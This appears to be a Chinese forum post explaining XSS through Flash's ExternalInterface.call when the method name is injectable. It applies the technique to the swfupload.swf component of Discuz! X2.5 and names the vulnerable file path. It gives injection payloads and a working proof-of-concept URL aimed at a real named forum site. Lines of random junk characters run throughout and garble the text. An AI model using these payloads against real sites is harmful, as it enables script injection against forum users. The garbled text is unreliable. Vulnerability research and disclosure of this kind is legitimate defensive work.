上回我们说
% S$ a, W% C$ [5 |2 W
; c3 _5 f# w7 Q# M( ]flash.external.ExternalInterface.call($methodName, $parameter). V1 w V$ C$ P! c! R- @
在浏览器中执行的是
2 l1 ?/ ~. J8 q; I& Q
^" F' o- B' F" @6 F! P" s2 Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
8 m$ }' H h4 a% f5 N- m对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; ?/ v4 Z1 A( i) B8 B" G* l
7 ~( K0 D% G( q+ B$ Q" | Cflash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 ~9 W4 t) v" G( Y9 W$methodName = a())}catch(e){alert(/xss/)}//
+ B0 ~' M4 R# w6 E0 N结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
* @, Z$ G6 z8 S( l, ~
o0 X+ {6 _' b( \) h9 Jtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' ]0 C" U, X2 h1 B* K4 M' d0 ~! g" ~* c6 k! X
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )3 F5 a M A- q
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
1 U$ h5 r" c# M7 f- j; F/ }# S4 C/ o( ?3 F8 y
# d# a g" J9 {2 ]; n
7 p- T0 J# h; y ?0 e( I+ N# ?
漏洞文件:upload\static\image\common\swfupload.swf
! r2 Q0 p/ ]/ B$ g( E* @! X. P1 E: F# h; M1 \; V7 I
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf% Q. \: f% x6 A" k
9 W2 i) |$ U2 Y2 N9 A8 P: O8 Y
4 E/ V& u2 I# n0 e8 `+ B% X: k漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
& a' o3 p$ E0 |9 n8 y3 z Q1 I- M8 S6 P
' P I/ f4 a( o4 T8 _8 D |